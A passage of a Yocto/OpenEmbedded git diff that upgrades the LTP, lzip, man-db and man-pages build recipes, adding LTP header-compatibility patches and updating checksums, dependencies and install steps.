+Upstream-Status: Submitted [https://lore.kernel.org/ltp/20210930183058.5240-3-petr.vorel@gmail.com/T/#u]
+---
+ include/lapi/if_addr.h | 16 ++++++++++++++++
+ include/lapi/rtnetlink.h | 5 +----
+ 2 files changed, 17 insertions(+), 4 deletions(-)
+ create mode 100644 include/lapi/if_addr.h
+
+diff --git a/include/lapi/if_addr.h b/include/lapi/if_addr.h
+new file mode 100644
+index 000000000..4e50a0a4e
+--- /dev/null
++++ b/include/lapi/if_addr.h
+@@ -0,0 +1,16 @@
++// SPDX-License-Identifier: GPL-2.0-or-later
++/*
++ * Copyright (c) 2021 Petr Vorel <petr.vorel@gmail.com>
++ */
++
++#ifndef LAPI_IF_ADDR_H__
++#define LAPI_IF_ADDR_H__
++
++#include <linux/if_addr.h>
++
++#ifndef IFA_FLAGS
++# define IFA_FLAGS 8
++#endif
++
++
++#endif /* LAPI_IF_ADDR_H__ */
+diff --git a/include/lapi/rtnetlink.h b/include/lapi/rtnetlink.h
+index 04e9ad51a..089bf1a0d 100644
+--- a/include/lapi/rtnetlink.h
++++ b/include/lapi/rtnetlink.h
+@@ -5,9 +5,6 @@
+ # define LAPI_RTNETLINK_H__
+
+ #include <linux/rtnetlink.h>
+-
+-#ifndef IFA_FLAGS
+-# define IFA_FLAGS 8
+-#endif
++#include "lapi/if_addr.h"
+
+ #endif /* LAPI_RTNETLINK_H__ */
+--
+2.33.0
+
diff --git a/meta/recipes-extended/ltp/ltp/0005-lapi-if_addr.h-Define-IFA_FLAGS.patch b/meta/recipes-extended/ltp/ltp/0005-lapi-if_addr.h-Define-IFA_FLAGS.patch
new file mode 100644
index 0000000000..f510fda8c9
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0005-lapi-if_addr.h-Define-IFA_FLAGS.patch
@@ -0,0 +1,60 @@
+From 9e357fb4fc00ab9c303e314b85b9ae3836141f81 Mon Sep 17 00:00:00 2001
+From: Petr Vorel <petr.vorel@gmail.com>
+Date: Wed, 29 Sep 2021 19:56:29 +0200
+Subject: [PATCH] lapi/if_addr.h: Define IFA_F_NOPREFIXROUTE
+
+and use it in icmp_rate_limit01.c.
+
+This fixes error on toolchains with very old kernel headers, e.g.
+Buildroot sourcery-arm:
+
+icmp_rate_limit01.c:82:3: error: 'IFA_F_NOPREFIXROUTE' undeclared (first use in this function)
+ IFA_F_NOPREFIXROUTE);
+
+Fixed because IFA_F_NOPREFIXROUTE was added in 3.14 and the oldest
+system we still support is Cent0S 7 with 3.10 kernel.
+
+NOTE: Cent0S 7 is obviously heavily patched thus it contains
+IFA_F_NOPREFIXROUTE and therefore CI build didn't catch this error.
+
+Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
+Upstream-Status: Submitted [https://lore.kernel.org/ltp/20210930183058.5240-4-petr.vorel@gmail.com/T/#u]
+---
+ include/lapi/if_addr.h | 3 +++
+ testcases/cve/icmp_rate_limit01.c | 3 ++-
+ 2 files changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/include/lapi/if_addr.h b/include/lapi/if_addr.h
+index 4e50a0a4e..0f7e44784 100644
+--- a/include/lapi/if_addr.h
++++ b/include/lapi/if_addr.h
+@@ -12,5 +12,8 @@
+ # define IFA_FLAGS 8
+ #endif
+
++#ifndef IFA_F_NOPREFIXROUTE
++# define IFA_F_NOPREFIXROUTE 0x200
++#endif
+
+ #endif /* LAPI_IF_ADDR_H__ */
+diff --git a/testcases/cve/icmp_rate_limit01.c b/testcases/cve/icmp_rate_limit01.c
+index b3a237b30..3ada32675 100644
+--- a/testcases/cve/icmp_rate_limit01.c
++++ b/testcases/cve/icmp_rate_limit01.c
+@@ -27,11 +27,12 @@
+ #include <sys/socket.h>
+ #include <netinet/in.h>
+ #include <arpa/inet.h>
+-#include <linux/if_addr.h>
+ #include <linux/errqueue.h>
+
+ #include <sched.h>
+ #include <limits.h>
++
++#include "lapi/if_addr.h"
+ #include "tst_test.h"
+ #include "tst_netdevice.h"
+
+--
+2.33.0
+
diff --git a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch b/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch
deleted file mode 100644
index 0e7264574f..0000000000
--- a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From f4fafbdffae3a63c81f65cef98c72dda26283e06 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Wed, 8 Feb 2017 16:17:17 +0800
-Subject: [PATCH] Fix test_proc_kill hanging
-
-Sometimes the signal is delivered to memcg_process before the framework took
-into consideration its pid entered in the tasks. Fixed by delaying the signal
-send command.
-
-Upstream-Status: Pending
-
-Signed-off-by: George Nita <george.nita@enea.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- testcases/kernel/controllers/memcg/functional/memcg_lib.sh | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-index aadaae4..deea5d6 100755
---- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-@@ -291,6 +291,7 @@ test_proc_kill()
- pid=$!
- TST_CHECKPOINT_WAIT 0
- echo $pid > tasks
-+ sleep 1
-
- signal_memcg_process $pid $3
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp_20200930.bb b/meta/recipes-extended/ltp/ltp_20200930.bb
deleted file mode 100644
index 7acf15b360..0000000000
--- a/meta/recipes-extended/ltp/ltp_20200930.bb
+++ /dev/null
@@ -1,120 +0,0 @@
-SUMMARY = "Linux Test Project"
-DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
-HOMEPAGE = "https://linux-test-project.github.io/"
-SECTION = "console/utils"
-LICENSE = "GPLv2 & GPLv2+ & LGPLv2+ & LGPLv2.1+ & BSD-2-Clause"
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://testcases/kernel/controllers/freezer/COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
- file://testcases/kernel/controllers/freezer/run_freezer.sh;beginline=5;endline=17;md5=86a61d2c042d59836ffb353a21456498 \
- file://testcases/kernel/hotplug/memory_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
- file://testcases/kernel/hotplug/cpu_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
- file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
- file://testcases/realtime/COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
- file://utils/benchmark/kernbench-0.42/COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
-"
-
-DEPENDS = "attr libaio libcap acl openssl zip-native"
-DEPENDS_append_libc-musl = " fts "
-EXTRA_OEMAKE_append_libc-musl = " LIBC=musl "
-EXTRA_OECONF_append_libc-musl = " LIBS=-lfts "
-
-# since ltp contains x86-64 assembler which uses the frame-pointer register,
-# set -fomit-frame-pointer x86-64 to handle cases where optimisation
-# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer
-# earlier in CFLAGS, etc.
-CFLAGS_append_x86-64 = " -fomit-frame-pointer"
-
-CFLAGS_append_powerpc64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
-SRCREV = "da2f34028f046a208aa2fed5e287df2538e69f91"
-
-SRC_URI = "git://github.com/linux-test-project/ltp.git \
- file://0001-build-Add-option-to-select-libc-implementation.patch \
- file://0007-Fix-test_proc_kill-hanging.patch \
- file://0001-Add-more-musl-exclusions.patch \
- file://0001-Remove-OOM-tests-from-runtest-mm.patch \
- "
-
-S = "${WORKDIR}/git"
-
-inherit autotools-brokensep pkgconfig
-
-TARGET_CC_ARCH += "${LDFLAGS}"
-
-export prefix = "/opt/${PN}"
-export exec_prefix = "/opt/${PN}"
-
-PACKAGECONFIG[numa] = "--with-numa, --without-numa, numactl,"
-EXTRA_AUTORECONF += "-I ${S}/testcases/realtime/m4"
-EXTRA_OECONF = " --with-realtime-testsuite --with-open-posix-testsuite "
-# ltp network/rpc test cases ftbfs when libtirpc is found
-EXTRA_OECONF += " --without-tirpc "
-
-do_install(){
- install -d ${D}${prefix}/
- oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install
-
- # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
- # as it lacks dependency on some perl moudle such as LWP::Simple
- # And this script previously works as a tool for analyzing failures from LTP
- # runs on the OSDL's Scaleable Test Platform (STP) and it mainly accesses
- # http://khack.osdl.org to retrieve ltp test results run on
- # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
- rm -rf ${D}${prefix}/bin/STPfailure_report.pl
-
- # Copy POSIX test suite into ${D}${prefix}/testcases by manual
- cp -r testcases/open_posix_testsuite ${D}${prefix}/testcases
-
- # Makefile were configured in the build system
- find ${D}${prefix} -name Makefile | xargs -n 1 sed -i \
- -e 's@[^ ]*-fdebug-prefix-map=[^ "]*@@g' \
- -e 's@[^ ]*-fmacro-prefix-map=[^ "]*@@g' \
- -e 's@[^ ]*--sysroot=[^ "]*@@g'
-
- # The controllers memcg_stree test seems to cause us hangs and takes 900s
- # (maybe we expect more regular output?), anyhow, skip it
- sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers
-}
-
-RDEPENDS_${PN} = "\
- attr \
- bash \
- bc \
- coreutils \
- cpio \
- cronie \
- curl \
- e2fsprogs \
- e2fsprogs-mke2fs \
- expect \
- file \
- gawk \
- gdb \
- gzip \
- iproute2 \
- ldd \
- libaio \
- logrotate \
- net-tools \
- perl \
- python3-core \
- procps \
- quota \
- unzip \
- util-linux \
- which \
- tar \
-"
-
-FILES_${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a"
-
-# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail
-INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01"
-INSANE_SKIP_${PN} += "already-stripped staticdev"
-
-# Avoid file dependency scans, as LTP checks for things that may or may not
-# exist on the running system. For instance it has specific checks for
-# csh and ksh which are not typically part of OpenEmbedded systems (but
-# can be added via additional layers.)
-SKIP_FILEDEPS_${PN} = '1'
diff --git a/meta/recipes-extended/ltp/ltp_20210927.bb b/meta/recipes-extended/ltp/ltp_20210927.bb
new file mode 100644
index 0000000000..b5dfd8bb69
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp_20210927.bb
@@ -0,0 +1,136 @@
+SUMMARY = "Linux Test Project"
+DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
+HOMEPAGE = "https://linux-test-project.github.io/"
+SECTION = "console/utils"
+LICENSE = "GPLv2 & GPLv2+ & LGPLv2+ & LGPLv2.1+ & BSD-2-Clause"
+LIC_FILES_CHKSUM = "\
+ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
+ file://testcases/network/can/filter-tests/COPYING;md5=5b155ea7d7f86eae8e8832955d8b70bc \
+"
+
+DEPENDS = "attr libaio libcap acl openssl zip-native"
+DEPENDS:append:libc-musl = " fts "
+EXTRA_OEMAKE:append:libc-musl = " LIBC=musl "
+EXTRA_OECONF:append:libc-musl = " LIBS=-lfts "
+
+# since ltp contains x86-64 assembler which uses the frame-pointer register,
+# set -fomit-frame-pointer x86-64 to handle cases where optimisation
+# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer
+# earlier in CFLAGS, etc.
+CFLAGS:append:x86-64 = " -fomit-frame-pointer"
+
+CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
+SRCREV = "12beeda351b5d758a729aaf695b836ccc9eb5304"
+
+SRC_URI = "git://github.com/linux-test-project/ltp.git;branch=master;protocol=https \
+ file://0001-Remove-OOM-tests-from-runtest-mm.patch \
+ file://0002-lib-fix-MemAvailable-parsing.patch \
+ file://0003-lapi-rtnetlink.h-Fix-include-guards.patch \
+ file://0004-lapi-Create-if_addr.h-and-reuse-it-in-rtnetlink.h.patch \
+ file://0005-lapi-if_addr.h-Define-IFA_FLAGS.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit autotools-brokensep pkgconfig
+
+TARGET_CC_ARCH += "${LDFLAGS}"
+
+export prefix = "/opt/${PN}"
+export exec_prefix = "/opt/${PN}"
+
+PACKAGECONFIG[numa] = "--with-numa, --without-numa, numactl,"
+EXTRA_AUTORECONF += "-I ${S}/testcases/realtime/m4"
+EXTRA_OECONF = " --with-realtime-testsuite --with-open-posix-testsuite "
+# ltp network/rpc test cases ftbfs when libtirpc is found
+EXTRA_OECONF += " --without-tirpc "
+
+do_install(){
+ install -d ${D}${prefix}/
+ oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install include-install
+
+ # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
+ # as it lacks dependency on some perl moudle such as LWP::Simple
+ # And this script previously works as a tool for analyzing failures from LTP
+ # runs on the OSDL's Scaleable Test Platform (STP) and it mainly accesses
+ # http://khack.osdl.org to retrieve ltp test results run on
+ # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
+ rm -rf ${D}${prefix}/bin/STPfailure_report.pl
+
+ # Copy POSIX test suite into ${D}${prefix}/testcases by manual
+ cp -r testcases/open_posix_testsuite ${D}${prefix}/testcases
+
+ # Makefile were configured in the build system
+ find ${D}${prefix} -name Makefile | xargs -n 1 sed -i \
+ -e 's@[^ ]*-fdebug-prefix-map=[^ "]*@@g' \
+ -e 's@[^ ]*-fmacro-prefix-map=[^ "]*@@g' \
+ -e 's@[^ ]*-ffile-prefix-map=[^ "]*@@g' \
+ -e 's@[^ ]*--sysroot=[^ "]*@@g'
+
+ # The controllers memcg_stree test seems to cause us hangs and takes 900s
+ # (maybe we expect more regular output?), anyhow, skip it
+ sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers
+}
+
+RDEPENDS:${PN} = "\
+ attr \
+ bash \
+ bc \
+ coreutils \
+ cpio \
+ cronie \
+ curl \
+ e2fsprogs \
+ e2fsprogs-mke2fs \
+ expect \
+ file \
+ gawk \
+ gdb \
+ gzip \
+ iproute2 \
+ ldd \
+ libaio \
+ logrotate \
+ net-tools \
+ perl \
+ python3-core \
+ procps \
+ quota \
+ unzip \
+ util-linux \
+ which \
+ tar \
+"
+
+FILES:${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a"
+
+# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail
+INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01"
+INSANE_SKIP:${PN} += "already-stripped staticdev"
+
+remove_broken_musl_sources() {
+ [ "${TCLIBC}" = "musl" ] || return 0
+
+ cd ${S}
+ echo "WARNING: remove unsupported tests (until they're fixed)"
+
+ # sync with upstream
+ # https://github.com/linux-test-project/ltp/blob/master/ci/alpine.sh#L33
+ rm -rfv \
+ testcases/kernel/syscalls/confstr/confstr01.c \
+ testcases/kernel/syscalls/fmtmsg/fmtmsg01.c \
+ testcases/kernel/syscalls/getcontext/getcontext01.c \
+ testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c \
+ testcases/kernel/syscalls/timer_create/timer_create01.c \
+ testcases/kernel/syscalls/timer_create/timer_create03.c \
+ utils/benchmark/ebizzy-0.3
+}
+do_patch[postfuncs] += "remove_broken_musl_sources"
+
+# Avoid file dependency scans, as LTP checks for things that may or may not
+# exist on the running system. For instance it has specific checks for
+# csh and ksh which are not typically part of OpenEmbedded systems (but
+# can be added via additional layers.)
+SKIP_FILEDEPS:${PN} = '1'
diff --git a/meta/recipes-extended/lzip/lzip_1.21.bb b/meta/recipes-extended/lzip/lzip_1.21.bb
deleted file mode 100644
index bb3d2a6fe3..0000000000
--- a/meta/recipes-extended/lzip/lzip_1.21.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "Lossless data compressor based on the LZMA algorithm"
-HOMEPAGE = "http://lzip.nongnu.org/lzip.html"
-SECTION = "console/utils"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
- file://decoder.cc;beginline=3;endline=16;md5=db09fe3f9573f94d0076f7f07959e6e1"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz"
-SRC_URI[md5sum] = "c0061730d017ea593a09308edc547128"
-SRC_URI[sha256sum] = "e48b5039d3164d670791f9c5dbaa832bf2df080cb1fbb4f33aa7b3300b670d8b"
-
-B = "${WORKDIR}/build"
-do_configure[cleandirs] = "${B}"
-
-CONFIGUREOPTS = "\
- '--srcdir=${S}' \
- '--prefix=${prefix}' \
- '--exec-prefix=${exec_prefix}' \
- '--bindir=${bindir}' \
- '--datadir=${datadir}' \
- '--infodir=${infodir}' \
- '--sysconfdir=${sysconfdir}' \
- 'CXX=${CXX}' \
- 'CPPFLAGS=${CPPFLAGS}' \
- 'CXXFLAGS=${CXXFLAGS}' \
- 'LDFLAGS=${LDFLAGS}' \
-"
-
-do_configure () {
- ${S}/configure ${CONFIGUREOPTS}
-}
-
-do_install () {
- oe_runmake 'DESTDIR=${D}' install
- # Info dir listing isn't interesting at this point so remove it if it exists.
- if [ -e "${D}${infodir}/dir" ]; then
- rm -f ${D}${infodir}/dir
- fi
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lzip/lzip_1.22.bb b/meta/recipes-extended/lzip/lzip_1.22.bb
new file mode 100644
index 0000000000..3360269454
--- /dev/null
+++ b/meta/recipes-extended/lzip/lzip_1.22.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Lossless data compressor based on the LZMA algorithm"
+HOMEPAGE = "http://lzip.nongnu.org/lzip.html"
+DESCRIPTION = "Lzip is a lossless data compressor with a user interface similar to the one of gzip or bzip2. Lzip uses a simplified form of the Lempel-Ziv-Markov chain-Algorithm (LZMA) stream format, chosen to maximize safety and interoperability."
+SECTION = "console/utils"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
+ file://decoder.cc;beginline=3;endline=16;md5=18c279060cd0be128188404b45837f88 \
+ "
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz"
+SRC_URI[sha256sum] = "c3342d42e67139c165b8b128d033b5c96893a13ac5f25933190315214e87a948"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+CONFIGUREOPTS = "\
+ '--srcdir=${S}' \
+ '--prefix=${prefix}' \
+ '--exec-prefix=${exec_prefix}' \
+ '--bindir=${bindir}' \
+ '--datadir=${datadir}' \
+ '--infodir=${infodir}' \
+ '--sysconfdir=${sysconfdir}' \
+ 'CXX=${CXX}' \
+ 'CPPFLAGS=${CPPFLAGS}' \
+ 'CXXFLAGS=${CXXFLAGS}' \
+ 'LDFLAGS=${LDFLAGS}' \
+"
+
+do_configure () {
+ ${S}/configure ${CONFIGUREOPTS}
+}
+
+do_install () {
+ oe_runmake 'DESTDIR=${D}' install
+ # Info dir listing isn't interesting at this point so remove it if it exists.
+ if [ -e "${D}${infodir}/dir" ]; then
+ rm -f ${D}${infodir}/dir
+ fi
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/man-db/man-db_2.9.3.bb b/meta/recipes-extended/man-db/man-db_2.9.3.bb
deleted file mode 100644
index 0e6016a73c..0000000000
--- a/meta/recipes-extended/man-db/man-db_2.9.3.bb
+++ /dev/null
@@ -1,58 +0,0 @@
-SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
-HOMEPAGE = "http://man-db.nongnu.org/"
-LICENSE = "LGPLv2.1 & GPLv2"
-LIC_FILES_CHKSUM = "file://docs/COPYING.LIB;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://docs/COPYING;md5=eb723b61539feef013de476e68b5c50a"
-
-SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
- file://99_mandb \
- file://man_db.conf-avoid-multilib-install-file-conflict.patch"
-SRC_URI[sha256sum] = "fa5aa11ab0692daf737e76947f45669225db310b2801a5911bceb7551c5597b8"
-
-DEPENDS = "libpipeline gdbm groff-native base-passwd"
-RDEPENDS_${PN} += "base-passwd"
-
-# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
-USE_NLS_libc-musl = "no"
-
-inherit gettext pkgconfig autotools systemd
-
-EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_unitdir}/system"
-EXTRA_AUTORECONF += "-I ${S}/gl/m4"
-
-do_install() {
- autotools_do_install
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
- fi
-}
-
-do_install_append_libc-musl() {
- rm -f ${D}${libdir}/charset.alias
-}
-
-FILES_${PN} += "${prefix}/lib/tmpfiles.d"
-
-FILES_${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
-
-RDEPENDS_${PN} += "groff"
-RRECOMMENDS_${PN} += "less"
-RPROVIDES_${PN} += " man"
-
-def compress_pkg(d):
- if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
- compress = d.getVar("DOC_COMPRESS")
- if compress == "gz":
- return "gzip"
- elif compress == "bz2":
- return "bzip2"
- elif compress == "xz":
- return "xz"
- return ""
-
-RDEPENDS_${PN} += "${@compress_pkg(d)}"
-
-SYSTEMD_SERVICE_${PN} = "man-db.timer man-db.service"
-SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-db/man-db_2.9.4.bb b/meta/recipes-extended/man-db/man-db_2.9.4.bb
new file mode 100644
index 0000000000..f97974abb8
--- /dev/null
+++ b/meta/recipes-extended/man-db/man-db_2.9.4.bb
@@ -0,0 +1,71 @@
+SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
+HOMEPAGE = "http://man-db.nongnu.org/"
+DESCRIPTION = "man-db is an implementation of the standard Unix documentation system accessed using the man command. It uses a Berkeley DB database in place of the traditional flat-text whatis databases."
+LICENSE = "LGPLv2.1 & GPLv2"
+LIC_FILES_CHKSUM = "file://docs/COPYING.LIB;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ file://docs/COPYING;md5=eb723b61539feef013de476e68b5c50a"
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
+ file://99_mandb \
+ file://man_db.conf-avoid-multilib-install-file-conflict.patch"
+SRC_URI[sha256sum] = "b66c99edfad16ad928c889f87cf76380263c1609323c280b3a9e6963fdb16756"
+
+# remove at next version upgrade or when output changes
+PR = "r1"
+HASHEQUIV_HASH_VERSION .= ".2"
+
+DEPENDS = "libpipeline gdbm groff-native base-passwd"
+RDEPENDS:${PN} += "base-passwd"
+PACKAGE_WRITE_DEPS += "base-passwd"
+
+# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
+USE_NLS:libc-musl = "no"
+
+inherit gettext pkgconfig autotools systemd
+
+EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_system_unitdir}"
+EXTRA_AUTORECONF += "-I ${S}/gl/m4"
+
+PACKAGECONFIG[bzip2] = "--with-bzip2=bzip2,ac_cv_prog_have_bzip2='',bzip2"
+PACKAGECONFIG[gzip] = "--with-gzip=gzip,ac_cv_prog_have_gzip='',gzip"
+PACKAGECONFIG[lzip] = "--with-lzip=lzip,ac_cv_prog_have_lzip='',lzip"
+PACKAGECONFIG[lzma] = "--with-lzma=lzma,ac_cv_prog_have_lzma='',xz"
+PACKAGECONFIG[zstd] = "--with-zstd=zstd,ac_cv_prog_have_zstd='',zstd"
+PACKAGECONFIG[xz] = "--with-xz=xz,ac_cv_prog_have_xz='',xz"
+
+do_install() {
+ autotools_do_install
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
+ fi
+}
+
+do_install:append:libc-musl() {
+ rm -f ${D}${libdir}/charset.alias
+}
+
+FILES:${PN} += "${prefix}/lib/tmpfiles.d"
+
+FILES:${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
+
+RDEPENDS:${PN} += "groff"
+RRECOMMENDS:${PN} += "less"
+RPROVIDES:${PN} += " man"
+
+def compress_pkg(d):
+ if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
+ compress = d.getVar("DOC_COMPRESS")
+ if compress == "gz":
+ return "gzip"
+ elif compress == "bz2":
+ return "bzip2"
+ elif compress == "xz":
+ return "xz"
+ return ""
+
+RDEPENDS:${PN} += "${@compress_pkg(d)}"
+
+SYSTEMD_SERVICE:${PN} = "man-db.timer man-db.service"
+SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-pages/man-pages_5.08.bb b/meta/recipes-extended/man-pages/man-pages_5.08.bb
deleted file mode 100644
index caf9320a67..0000000000
--- a/meta/recipes-extended/man-pages/man-pages_5.08.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-SUMMARY = "Linux man-pages"
-DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
-SECTION = "console/utils"
-HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
-LICENSE = "GPLv2+"
-
-LIC_FILES_CHKSUM = "file://README;md5=207f70f56526417514ac46b6680e314f"
-SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz"
-
-SRC_URI[sha256sum] = "6e0b8ae23ee9467cee701f23dea908257a93e5fffa9e261b19a23efbd27e84a2"
-
-inherit manpages
-
-MAN_PKG = "${PN}"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[manpages] = ""
-
-do_configure[noexec] = "1"
-do_compile[noexec] = "1"
-
-do_install() {
- oe_runmake install DESTDIR=${D}
-}
-
-# Only deliveres man-pages so FILES_${PN} gets everything
-FILES_${PN}-doc = ""
-FILES_${PN} = "${mandir}/*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "passwd.5 getspnam.3 crypt.3"
-ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
-ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
-ALTERNATIVE_LINK_NAME[crypt.3] = "${mandir}/man3/crypt.3"
diff --git a/meta/recipes-extended/man-pages/man-pages_5.13.bb b/meta/recipes-extended/man-pages/man-pages_5.13.bb
new file mode 100644
index 0000000000..2447d9fb14
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages_5.13.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Linux man-pages"
+DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
+SECTION = "console/utils"
+HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
+LICENSE = "GPLv2+"
+
+LIC_FILES_CHKSUM = "file://README;md5=92cd5ee2e0b35d782817e7e277b6ce4b"
+SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz"
+
+SRC_URI[sha256sum] = "ed615e9a31978833f59e7316667b9aeffbbdb0a92d1391f9c66fadc6e77d0da8"
+
+inherit manpages
+
